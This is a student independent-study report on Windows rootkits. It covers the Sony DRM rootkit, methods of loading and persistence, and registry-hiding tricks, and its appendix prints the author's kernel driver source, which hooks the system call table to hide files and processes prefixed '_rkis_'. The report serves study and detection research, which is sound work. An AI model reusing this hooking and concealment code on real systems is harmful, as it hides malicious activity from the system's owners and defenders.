Exploration of Rootkits Independent Study Final Report

Joseph Kardamis

I. Introduction

Rootkits are a set of programs created with the intent of getting and maintaining control of a computer system in an undetected fashion. Stealth and deep knowledge of the workings of the operating system are required in order for such a thing to be done, and systems can be compromised for years before being detected. While previously unknown and unheard of, rootkits are beginning to play a larger role in current issues such as Digital Rights Management (DRM), and are constantly evolving to avoid detection. The aim of this independent study is to gain experience working with rootkits, study how they work, and analyze methods of detection. I will build research existing rootkits, and from them build a basic rootkit of my own. The following report details the progress of my research and implementation.

II. Research

Many sources were integral in the successful exploration of rootkits. Reference material was not limited to simply books and documents, but code samples and fully functional rootkits were also used to guide me in learning about rootkits and their implementation.

A. Textbooks

Two main literary sources of information were *Exploiting Software: How to Break Code* by Greg Hoglund and Gary McGraw, and *Rootkits: Subverting the Windows Kernel* by Greg Hoglund and James Butler. These books detail the ways in which rootkits work, how they can be implemented and deployed, and ways in which they evade detection. The main way in which the book outlines the creation of a rootkit is through a device driver. Device drivers, once loaded, have kernel level privileges. The text outlines the way to create a device driver, as well as how to load and unload it.

Additionally, it describes how tables used by the operating system can be exploited to allow the rootkit greater access or to hide it or other processes. By altering the System Service Dispatch Table, a rootkit has the ability to provide its own function to handle a system call as opposed to the original function.

This segues to a general discussion on call hooking. Call hooking allows a rootkit to intercept the control flow of the computer and alter its behavior, ultimately allowing it to maintain access and secrecy. The rootkit could hook functions on the user level domain ("userland"), or it can hook system calls in the kernel itself

They detail other methods of embedding rootkits on a system, using Direct Kernel Object Manipulation (DKOM), the technique of layering drivers over existing device drivers to make a driver chain, and performing runtime patching on the system. They also cover using steganography over networks to communicate information from a compromised host to the attacker. They use a key logger as an example for device chains, adding on the malicious rootkit driver to the keyboard driver chain. This prevents the developer from needing to reinvent the wheel so to speak for every task. Instead, they can make use of drivers that already exist and are functional.

Finally Hoglund and Butler discuss issues regarding protecting and defending against rootkits. The cover ways to detect call hooking and DKOM, but they stress that the nature of rootkit defense is reactionary. The attackers have the advantage in that they have the initiative, which makes the job all the more difficult for the defender. Also, as each side comes up with a new exploit or a new way to detect intrusion, the other side will develop method to counter them. This seems to be the tone for computer security in general, not just applied to rootkits in particular.

B. Previous Project

There was an extensive code base available for reference as well. I used a previous rootkit project (_rajkit_) implemented as part of the course requirements for Language Based Security (course number) by Chris Corcimiglia, Jody Podpora, Keith Russell, and Joe Schmigel in the Spring Quarter of 2005 (20053). This project had a two-pronged approach in which the four members divided into teams of two. One team worked on implementing a rootkit while the second team worked on developing ways of detecting the rootkit once it was loaded and running. This had the effect of creating a "cat and mouse" development environment which rather effectively imitates the actual trend of rootkits and rootkit detection in the world today. While this code was helpful in giving me ideas for direction, unfortunately I was unable to run either the rootkit or the rootkit detector on my systems. Upon loading the drivers faults occurred which resulted in a Blue Screen of Death (BSOD), pointing to illegal memory referencing as the culprit. The loading mechanism was the "undocumented API call" highlighted previously in Hoglund's rootkit book, which was noted as having the possibility of causing BSODs, as the driver is loaded into pageable memory. Complications arise when the driver is paged out, as the memory references become invalid, resulting in a system crash. As this was the case, I could not actually run the previous project to test how it worked, and this problem also was the impetus for me moving from Windows XP to developing and deploying my drivers on Windows 2000, which did not exhibit these problems.

C. Rootkit.com

Apart from the previous project, there was also a significant compilation of source codes at www.rootkit.com, founded by James Hoglund. Many sample rootkits were leveraged for use in my rootkit, and they are all noted in both this document as well as in the source code. Several examples existed for loading rootkits, using both the "undocumented" API call, as well as the "correct" method, and there were many rootkits which showed how to mask files, hide processes, and even manipulate the registry.

D. Sony Digital Rights Management

In addition to implementing a rudimentary rootkit, I also explored the usage of rootkits in the attempt to enforce digital rights management, specifically by Sony in the publicized debacle one year ago. I read news sources from technical sites, responses from the security world, as well as those from Sony and First 4 Internet, the company hired to implement the rootkits. In the appendix is my summary of the events and some thoughts on the matter.

III. Work

The bulk of my effort was placed in attempting to implement a working set of programs designed to get and maintain control of a system, that is, a rootkit. These tasks were divided into five major areas: loading, hiding files, hiding processes, surviving system reboot, and manipulating the registry. In the sections that follow, I will detail the methods which I used and examine how the processes could be made better from the standpoint of difficulty of detection. I used the Windows Driver Development Kit (DDK) to compile and build the driver files, and, as the executables leverage the Windows API, the Microsoft Windows Visual Studio Command Prompt tool to compile the non-driver code.

A. Loading

The first major hurdle to cross was that of loading the rootkit onto the system. For the sake of simplicity, we assume that there exists a previous exploit of the system which allowed us to load the appropriate files and execute them as needed. This is a reasonable assumption as such exploits do exist, as do similar assumptions about such matters in comparable projects (refer to _rajkit_ project).

That said there are two major techniques to load a driver: the "Right" way, and the "Wrong" way. The Right way involves making use of the System Control Manager. This has the unfortunate effect of creating keys in the registry which can be used to detect the rootkit, however, the positive side of this technique is that the driver is loaded into non-pageable memory, meaning the functions will not be paged out, resulting in a system crash. The second, "dirtier" method of loading a driver involves the use of an undocumented Windows API call: SystemLoadAndCallImage. This loads the driver directly into memory without creating keys in the registry, which is good. However, the driver is loaded into pageable memory, which introduces the chance that the code will be paged out, resulting in a crash. I worked with both methods at first, using also the InstDrv utility to install and load the driver during development. However, due to the issues with resultant system crashes using source code from rootkit.com as well as the previous rootkit project, I found that using the System Control Manager was the safer route to follow. This had ramifications in other aspects of the project regarding its traceability, specifically in reference to the fact that registry keys were created upon loading, but we will consider this in later sections.

Code was leveraged from the Advanced Loader application available from rootkit.com to build the executables for both loading and unloading the driver. While it is not strictly necessary to support unloading, and ideally one would not have the unloading tool packaged with the rootkit itself, it aided in the ease of development.

B. File hiding

To implement file hiding I used a technique found in both the previous project, which involves hooking the System Service Dispatch Table (SSDT). The SSDT contains the locations of functions for various parts of functionality of the kernel, one of which is listing the contents of directories. Once the driver is loaded, these functions can be replaced with ones supplied by the rootkit, thereby filtering out any files which the rootkit wanted to keep hidden.

For this project I used the "magic word" method of hiding all files and directories which start with the string "_rkis_". While this is a simple and effective method for hiding files, and is relatively easy to implement, it is bad based on the fact that it hinders the operation of the system in other ways. The infected host is vulnerable to other files and directories being hidden by the rootkit which can be exploited by other attackers. This issue is highlighted in my investigation of the Sony DRM portion in the appendix.

A more restrictive and more complex method for hiding files would be to give an exact manifest of files and directories to hide, not simple a prefix to search for. This would ensure that the rootkit could not be used for other purposes apart from those for which it was designed, but it also takes more time to determine which files, if any, to hide. This can be a bad thing, as one of the ways to detect the presence of rootkits loaded on a system is to compare timing information and how many function calls occur to perform a given operation. If a rootkit is present, the number of calls required to perform a task will be significantly higher than is a system were clean. This "exact manifest" would further increase the number of function calls used, which could increase the likelihood of detection.

C. Process hiding

The implementation of process hiding used a very similar technique of hooking the SSDT. To ensure the rootkit has the permissions to alter the critical portions of the SSDT, the rootkit describes a range of addresses in a Memory Description List (MDL). We specify the segment that we wish to alter, ensuring that when we introduce the hooks we do not incur a system crash by attempting to alter memory for which we do not have write permission. Once we know we have the appropriate permissions, we hook the system table. Similarly to our method of hiding files, we use "_rkis_" as our key search string. Whenever a process is found that we wish to hide, we need to remove it from the list of processes. However this is not sufficient to hide the existence of a running process. We also need to account for the kernel time and the user time attributable to the hidden process. To accomplish this, we add the kernel and user time to the System Idle process.

This method was used by the example rootkit HideProcessHookMDL made available by Greg Hoglund on rootkit.com. Apart from the "exact manifest" technique referenced earlier, this technique also has the shortcoming of creating artificial spikes in the CPU percentage for the System Idle process. If the process being masked does not consume a large percentage of the CPU, there will not be large negative effects when the process ends. However, in the case where the process uses 99% of the CPU, there is a disparity between the refresh of the process list and when the phantom process terminates. Upon termination, the System Idle process reclaims the majority of the CPU, but System Idle is still being given the CPU time from the phantom process. This has the effect of spiking the CPU for System Idle to well above 100%, making a surefire way of detecting that foul play is in effect.

I could not find a way to fix this problem with hiding processes, but it did not seem to pose a problem if the process being hidden did not consume a large portion of the CPU. However, there is a way to detect this method of hooking kernel functionality which can also reveal the method used to hide files and directories. Upon locating the Service Descriptor Table, the functions in the table are examined. Specifically, the addresses of each function are examined to ensure that the function resides in kernel address space. If the function is outside the kernel address space, as the hooked process and file description functions would be, it is identified as a hooked function and brought to the attention of the user.

To prevent this method of detection, a rootkit could instead directly alter kernel objects using a method known as Direct Kernel Object Manipulation (DKOM). As evidenced by the previous rootkit project, this is a powerful technique indeed, and is not revealed by examining the memory locations of the kernel functions, but it can still be detected. I did not spend any time examining DKOM however, so I will not spend any other time discussing it.

D. Boot survival

The largest problem that I faced in this project was how to reliably and stealthily survive the process of rebooting the machine. Hoglund details many ways of doing this in his book; the two with which I experimented were using the Run key in the registry and registering as a driver. I will detail my attempts at both techniques.

My first attempt was to try to use the Run key to ensure the driver would be loaded at boot time. To do this I needed to create a program that would load the driver upon execution. I wrote a Windows batch file which would install and load the driver using the InstDrv command line tool. The main issue with this approach is that a batch program creates a visible black command prompt window, which is an indication that a program is being executed. This cannot be completely removed; however the time that the window is visible can be significantly reduced. Using a program called CMDOW, we can specify a command prompt window to be hidden from view. Therefore, the window created by the batch file can be immediately hidden if the first line of the batch program is to hide the window with CMDOW. Again, this does not completely hide the existence of the window, but it reduces how long it is visible.

However, as the existence of the window does point to foul play, I turned my attention to how to hide the Run key value. It is very simple to examine what programs are being loaded at run time by examining the Run key in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\currentVersion. There are two ways that I found to either hide or prevent the manipulation of values in the registry, both of which I will describe in detail.

The first involves using a method detailed by Mark Russinovich of Sysinternals in the program RegHide. The problem lies in the fact that the strings used by the registry for internal storage differs from those used by the programs which interact with the registry. Specifically, the registry allows for strings which contain a null byte, while most programs which display the contents of the registry do not support this null byte. The ramifications of this disparity is that if a key is added to the registry which ends with a null byte, it can be seen by other programs, such as RegEdit and RegEdit32, but it cannot be altered, as these programs throw an error upon attempting to open or otherwise manipulate the data. This means that other subkeys or values can be added to the null-embedded key without knowledge of the user. While this does not hide the existence of the key, it does mask the contents and prevent its deletion, which is a start. However, I found that such null-terminated strings did not have their contents executed when added to the Run key, so while this is an effective strategy for hiding values, it was not useful for me in this project.

The second technique which I attempted to exploit was the internal character limit given to key names by programs which interact with the registry. The exploit is that, given a sufficiently long key name (over 255 characters for Windows XP, over 260 characters for Windows 2000), a key could be added to the registry, but could not be shown by programs such as RegEdit and RegEdit32. This vulnerability was brought to light by Igor Franchuk and was listed on Secunia, but was rated as "Not Critical". However, according to Daniel Wesemann, this vulnerability can be used to create keys in the Run key which get executed at start up but cannot be displayed by RegEdit or RegEdit32. I attempted to exploit this, however, while I could create keys of the appropriate length, the values stored inside the overly long keys were not being executed upon system start, so it appeared that attempted to cleverly "hack" the Run key would not be successful.

The solution that I came to involved loading the driver through the System Control Manager, and instead of starting with the flag SERVICE_DEMAND_START, which would install the driver as starting once, I used the flag SERVICE_AUTO_START. This meant that once the driver was installed and started using the "net start" command, the driver would be started every time a user logged in. This is the behavior that we desired, and it performed the task without displaying the telltale command prompt box upon start up. However, it also had the effect of leaving a digital trail in the registry, as outlined in the previous section detailing loading. The driver could be identified in the list of Services under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services key. I did not manage to explore ways of hiding or otherwise protecting these values in the registry, so my rootkit relies on the user not being able to identify a malicious driver from the legitimate drivers in the Services list based on entries in the registry. This is not an optimal solution, but it was the best that I could manage with the time available to me.

Given more time, I would have liked to further explore registry manipulation to try to hide the values added to the registry as part of the loading of the driver, and I would have also liked to explore the problem regarding the SystemIdle process outline in process hiding. Additionally, I would have liked to have spent more time developing the White Hat issues of rootkit detection instead of simply reading about ways to detect rootkits.

IV. Conclusions

A. Difficulty of Work

It was my experience throughout the span of this project that rootkits are not easy to implement. Successfully designing and implementing a rootkit requires such a large knowledge of the internal working of the target operating system, in this case Windows, that do create one from scratch in the timeframe given would be difficult without being heavily reliant on existing rootkit systems. I found myself copying from existing rootkits from rootkit.com without actually adding much in the way of new creative content as I did not know enough about the underlying operating system to make intelligent design changes. I did manage to try some new techniques in the way of attempting to exploit registry flaws, but short of that, the other code development was mostly culled together from various sources.

B. Risks of Work

In addition to being difficult, working with rootkits is inherently risky. If developed and deployed irresponsibly, irreparable damage could be done to the target system. In intentionally altering the functionality of the operating system, rootkit developers are risking their own systems to potentially subvert and manipulate other systems.

C. Need to Understand

However, it is because of the great risks and high potential dangers that we must strive to understand rootkits. A quote from Thomas Hesse, Sony BMG global digital business president, highlights this need perfectly: "Most people don't know what a rootkit is, so why should they care about it?" Not only does he belie a disdain and disrespect for the general populace and the targets of Sony's DRM rootkits, but he underlines why we need to know about rootkits, how they function, and how to protect ourselves. Rootkits are dangerous and can do a great amount of damage without our knowledge. By remaining ignorant of these issues, we hold ourselves at an even greater risk. It is true that, by adapting to evolving rootkit techniques we spur a new, more advanced generation of rootkit which are more difficult to combat. However, as new rootkit technologies emerge, new ways to thwart them must take shape. It is therefore to our benefit to learn about these malicious technologies to allow more advanced methods of rootkit detection and removal to be developed.

V. References

A. Documents

Franchuk, Igor. (2006, February 6) *Windows Registry Editor Utility String Concealment Weakness*. Retrieved November 8, 2006, from http://secunia.com/advisories/16560/

Hoglund, Greg and James Butler. *Rootkits: Subverting the Windows Kernel*. New Jersey. Addison-Wesley, 2006.

Hoglund, Greg and Gary McGraw. *Exploiting Software: How to Break Code*. Boston. Addison-Wesley, 2006.

Roberts, Paul F. (2005, November 8). *Sony's Second 'Rootkit' DRM Patch Doesn't Hush Critics*. Retrieved October 22, 2006, from http://www.eweek.com/article2/0,1895,1883820,00.asp

Russinovich, Mark. (2006, November 1). *Systems Internals Tips and Trivia*. Retrieved November 8, 2006, from http://www.microsfot.com/technet/sysinternals/information/TipsAndTrivia.mspx#KiddenKeys

Wesemann, Daniel. (2005, August 24). *Nasty Games of Hide and Seek in the Registry*. Retrieved November 8, 2006, from http://isc.sans.org/diary.php?date=2005-08-24

B. Source Code

Corcimiglia, Chris, Jody Podpora, Keith Russell, and Joe Schmigel. *_rajkit_ Rootkit project*.

Fuzen_op. (2005, March 8) *HideProcessHookMDL.zip*. http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

Hoglund, Greg. (2003, November 23) *advanced_loader.zip*. http://www.rootkit.com/vault/hoglund/advanced_loader.zip

Russinovich, Mark. (2006, November 1). *RegHide.zip*. http://download.sysinternals.com/Files/RegHide.zip

C. Executables (Binaries)

Commandline.co.uk. (2004, December 19). *CMDOW.zip*.
http://www.commandline.co.uk/cmdow/cmdow.zip

Hoglund, Greg. (2003, November 24). *InstDriver.zip*.
http://www.rootkit.com/vault/hoglund/InstDriver.zip

Microsoft. *Windows Driver Development Kit*.
http://www.microsoft.com/whdc/devtools/ddk/default.mspx

Russinovich, Mark. (2006, November 1). *DebugView.zip*.
http://download.sysinternals.com/Files/DebugView.zip

VI. Appendices

A. Code

The following section is the contents of the code used to implement this project. A short description of each file precedes the contents of the files.

rootkit.c: The main code base for the rootkit device driver. Performs file and process hiding

```
// Rootkit device driver.  Source code culled from various sources
// cited as appropriate.  See references in main paper for detailed
                  citings.
//
// This driver hides files, directories, and processes beginning with
                  "_rkis_"
// author J. Kardamis

#include "ntddk.h"
#include "rootkit.h"

// Pointer to original functions, so we can restore/replace it
ZWQUERYDIRECTORYFILE  RealZwQueryDirectoryFile;
ZWQUERYSYSTEMINFORMATION  OldZwQuerySystemInformation;

// Used to store the user time and kernel of hidden processes
LARGE_INTEGER  m_UserTime;
LARGE_INTEGER  m_KernelTime;

//
// Unload function
// Unhooks the hooked functions
// Leveraged from _rajkit_ and from HideProcessHookMDL
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("RKIS: Unloading the driver\n");

    // Unhook - directory no longer hidden
    _asm cli
    (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) =
                  RealZwQueryDirectoryFile;
    _asm sti


   // unhook system calls
   UNHOOK_SYSCALL( ZwQuerySystemInformation,
                  OldZwQuerySystemInformation,
                  NewZwQuerySystemInformation );

   // Unlock and Free MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }


}


//
//  Returns a pointer to the next file  being
//  pointed to by the FileInformationBuffer
//  Leveraged from _rajkit_
//
DWORD getDirEntryLinkToNext(
                        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
                  DWORD result = 0;
                  switch(FileInfoClass){
                        case FileDirectoryInformation:
                              result =
                  ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)-
                  >NextEntryOffset;
                              break;
                        case FileFullDirectoryInformation:
                              result =
                  ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)-
                  >NextEntryOffset;
                              break;
                        case FileIdFullDirectoryInformation:
                              result =
                  ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer
                  )->NextEntryOffset;
                              break;
                        case FileBothDirectoryInformation:
                              result =
                  ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)-
                  >NextEntryOffset;
                              break;
                        case FileIdBothDirectoryInformation:
                              result =
                  ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer
                  )->NextEntryOffset;
```

```
                              break;
                        case FileNamesInformation:
                              result =
                  ((PFILE_NAMES_INFORMATION)FileInformationBuffer)-
                  >NextEntryOffset;
                              break;
                  }
                  return result;
}

//
//  Sets the pointer to the next file that the FileInformationBuffer
//  points to
//  Leveraged from _rajkit_
//
void setDirEntryLinkToNext(
                        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
                        IN DWORD value
)
{
                  switch(FileInfoClass){
                        case FileDirectoryInformation:

                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBu
                  ffer)->NextEntryOffset = value;
                              break;
                        case FileFullDirectoryInformation:

                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuf
                  fer)->NextEntryOffset = value;
                              break;
                        case FileIdFullDirectoryInformation:

                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformation
                  Buffer)->NextEntryOffset = value;
                              break;
                        case FileBothDirectoryInformation:

                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuf
                  fer)->NextEntryOffset = value;
                              break;
                        case FileIdBothDirectoryInformation:

                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation
                  Buffer)->NextEntryOffset = value;
                              break;
                        case FileNamesInformation:

                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer
                  )->NextEntryOffset = value;
                              break;
                  }
}

//
//  Returns a pointer to the filname of the file current being
//  pointed to by the FileInformationBuffer
//  Leveraged from _rajkit_
//
PVOID getDirEntryFileName(
                        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
                  PVOID result = 0;
                  switch(FileInfoClass){
                        case FileDirectoryInformation:
                              result =
                  (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformation
                  Buffer)->FileName[0];
                              break;
                        case FileFullDirectoryInformation:
                              result
                  =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformation
                  Buffer)->FileName[0];
                              break;
                        case FileIdFullDirectoryInformation:
                              result
                  =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformat
                  ionBuffer)->FileName[0];
                              break;
                        case FileBothDirectoryInformation:
                              result
                  =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformation
                  Buffer)->FileName[0];
                              break;
                        case FileIdBothDirectoryInformation:
                              result
                  =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformat
                  ionBuffer)->FileName[0];
                              break;
                        case FileNamesInformation:
                              result
                  =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuf
                  fer)->FileName[0];
                              break;
                  }
                  return result;
}


//
//  Returns the Length of the filename of the file current being
//  pointed to by the FileInformationBuffer
//  Leveraged from _rajkit_
//
ULONG getDirEntryFileLength(
                        IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
                  ULONG result = 0;
                  switch(FileInfoClass){
                        case FileDirectoryInformation:
                              result =
                  (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationB
                  uffer)->FileNameLength;
                              break;
                        case FileFullDirectoryInformation:
                              result
                  =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationB
                  uffer)->FileNameLength;
                              break;
                        case FileIdFullDirectoryInformation:
                              result
                  =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformati
                  onBuffer)->FileNameLength;
                              break;
                        case FileBothDirectoryInformation:
                              result
                  =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationB
                  uffer)->FileNameLength;
                              break;
                        case FileIdBothDirectoryInformation:
                              result
                  =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformati
                  onBuffer)->FileNameLength;
                              break;
                        case FileNamesInformation:
                              result
                  =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuff
                  er)->FileNameLength;
                              break;
                  }
                  return result;
}


//
// Fake ZwQueryDirectoryFile used for call-hooking
// Removes all files beginning with _rkis_
//  Leveraged from _rajkit_
//
NTSTATUS FakeZwQueryDirectoryFile(
                  IN HANDLE hFile,
                  IN HANDLE hEvent OPTIONAL,
                  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
                  IN PVOID IoApcContext OPTIONAL,
                  OUT PIO_STATUS_BLOCK pIoStatusBlock,
                  OUT PVOID FileInformationBuffer,
                  IN ULONG FileInformationBufferLength,
                  IN FILE_INFORMATION_CLASS FileInfoClass,
                  IN BOOLEAN bReturnOnlyOneEntry,
                  IN PUNICODE_STRING PathMask OPTIONAL,
                  IN BOOLEAN bRestartQuery
)
{
                  NTSTATUS rc;

      // Call the original ZwQueryDirectoryFile() routine
```

```
             rc=((ZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))
             (
                         hFile,
                   /* this is the directory handle */
                         hEvent,
                         IoApcRoutine,
                         IoApcContext,
                         pIoStatusBlock,
                         FileInformationBuffer,
                         FileInformationBufferLength,
                         FileInfoClass,
                         bReturnOnlyOneEntry,
                         PathMask,
                         bRestartQuery);

// Ensure call to original routine was successful
             if( NT_SUCCESS( rc ) &&
                   (FileInfoClass == FileDirectoryInformation ||
                    FileInfoClass == FileFullDirectoryInformation
             ||
                    FileInfoClass ==
             FileIdFullDirectoryInformation ||
                    FileInfoClass == FileBothDirectoryInformation
             ||
                    FileInfoClass ==
             FileIdBothDirectoryInformation ||
                    FileInfoClass == FileNamesInformation )
                   )
             {
    PVOID p = FileInformationBuffer;
    PVOID pLast = NULL;
    BOOL bDone;
    int iStringLength = 12;
    // Loop while files still need to be handled
    do
    {
        // Check to see if there is a link to another file or if
             this is the last file
        bDone = !getDirEntryLinkToNext(p,FileInfoClass);

        // Check for files and directories the begin with _rajkit_
        if (getDirEntryFileLength(p,FileInfoClass) >=
             (ULONG)iStringLength) {
            if( RtlCompareMemory(
              getDirEntryFileName(p,FileInfoClass),
              (PVOID)"_\0r\0k\0i\0s\0_\0", iStringLength ) ==
              iStringLength )
            {
              // Print if directory or file being hidden
              DbgPrint("RKIS: Hiding File or Directory.\n");

              // Change pointers to skip file or directory
              if( bDone )
              {
                  if( p == FileInformationBuffer ) rc =
             0x80000006; // Return no results (since the only file
             is not to be dispalyed)
```

```
                      else setDirEntryLinkToNext(pLast,FileInfoClass,
                0);
                      break;
                  }
                  else
                  {
                      int iPos = ((ULONG)p) -
                (ULONG)FileInformationBuffer;
                      int iLeft = (DWORD)FileInformationBufferLength
                - iPos - getDirEntryLinkToNext(p,FileInfoClass);
                      RtlCopyMemory( p, (PVOID)( (char *)p +
                getDirEntryLinkToNext(p,FileInfoClass) ),
                (DWORD)iLeft );
                      continue;
                  }
              }
          }
          // Handle next directory or file
          pLast = p;
          p = ((char *)p + getDirEntryLinkToNext(p,FileInfoClass) );
      } while( !bDone );
                }
                return(rc);
}

//
//  ZwQuerySystemInformation() returns a linked list of processes.
//  The function below imitates it, except it removes from the list any
//  process who's name begins with "_rkis_".
//  Leveraged from HideProcessHookMDL
//

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
                (
                                        SystemInformationClass,
                                        SystemInformation,
                                        SystemInformationLength,
                                        ReturnLength );

   if( NT_SUCCESS(ntStatus))
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
                      // This is a query for the process list.
                      // Look for process names that start with
                      // '_rkis_' and filter them out.
                      struct _SYSTEM_PROCESSES *curr = (struct
                _SYSTEM_PROCESSES *)SystemInformation;
                struct _SYSTEM_PROCESSES *prev = NULL;

                      while(curr)
                      {
                            if (curr->ProcessName.Buffer != NULL)
                            {
                                  if(0 == memcmp(curr-
                >ProcessName.Buffer, L"_rkis_", 12))
                                  {
                                        DbgPrint("RKIS: Hiding
                process %x\n", curr->ProcessName.Buffer);
                                        m_UserTime.QuadPart += curr-
                >UserTime.QuadPart;
                                        m_KernelTime.QuadPart +=
                curr->KernelTime.QuadPart;

                                        if(prev) // Middle or Last
                entry
                                        {
                                              if(curr-
                >NextEntryDelta)
                                                    prev-
                >NextEntryDelta += curr->NextEntryDelta;
                                              else  // we are last,
                so make prev the end
                                                    prev-
                >NextEntryDelta = 0;
                                        }
                                        else
                                        {
                                              if(curr-
                >NextEntryDelta)
                                              {
                                                    // we are first
                in the list, so move it forward
                                                    (char
                *)SystemInformation += curr->NextEntryDelta;
                                              }
                                              else // we are the only
                process!
                                                    SystemInformation
                = NULL;
                                        }
                                  }
                            }
                            else // This is the entry for the Idle
                process
                            {
                               // Add the kernel and user times of
                _rkis_*
                               // processes to the Idle process.
                               curr->UserTime.QuadPart +=
                m_UserTime.QuadPart;
                               curr->KernelTime.QuadPart +=
                m_KernelTime.QuadPart;
```

```
                              // Reset the timers for next time we
                  filter
                              m_UserTime.QuadPart =
                  m_KernelTime.QuadPart = 0;
                            }
                            prev = curr;
                          if(curr->NextEntryDelta) ((char *)curr +=
                  curr->NextEntryDelta);
                          else curr = NULL;
                     }
                    }
                    else if (SystemInformationClass == 8) // Query for
                  SystemProcessorTimes
                    {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct
                  _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart +
                  m_KernelTime.QuadPart;
                    }

   }
   return ntStatus;
}


//
//  Driver loading function
//  Hooks the appropriate functions
//  Leveraged from _rajkit_ and HideProcessHookMDL
//
NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT driverObject,
    IN PUNICODE_STRING registryPath )
{
    DbgPrint("RKIS: Loading the new driver - v2\n");

    // Register the unload function
    driverObject->DriverUnload = OnUnload;

    // Save link to call location
    RealZwQueryDirectoryFile =
                  (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectory
                  File));

    // Hook the function to list out directory contents (hiding files)
    _asm cli
    (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile)) =
                  FakeZwQueryDirectoryFile;
    _asm sti


   // Initialize global times to zero
   // These variables will account for the
   // missing time our hidden processes are
   // using.
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
   // save old system call locations
   OldZwQuerySystemInformation
                  =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySyst
                  emInformation));

   // Map the memory into our domain so we can change the permissions
                  on the MDL
   g_pmdlSystemCall = MmCreateMdl(NULL,
                  KeServiceDescriptorTable.ServiceTableBase,
                  KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // Change the flags of the MDL
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
                  MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall,
                  KernelMode);

   // hook system calls
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation,
                  OldZwQuerySystemInformation );


    // We're loaded, return success
    return STATUS_SUCCESS;
}
```

rootkit.h: Functions and structures used by the rootkit device driver

```
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

typedef unsigned long BOOL;
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
      unsigned int *ServiceTableBase;
      unsigned int *ServiceCounterTableBase; //Used only in checked
build
      unsigned int NumberOfServices;
      unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t
KeServiceDescriptorTable;
```

```
#define SYSTEMSERVICE(_function)
KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)_function+1)]

PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
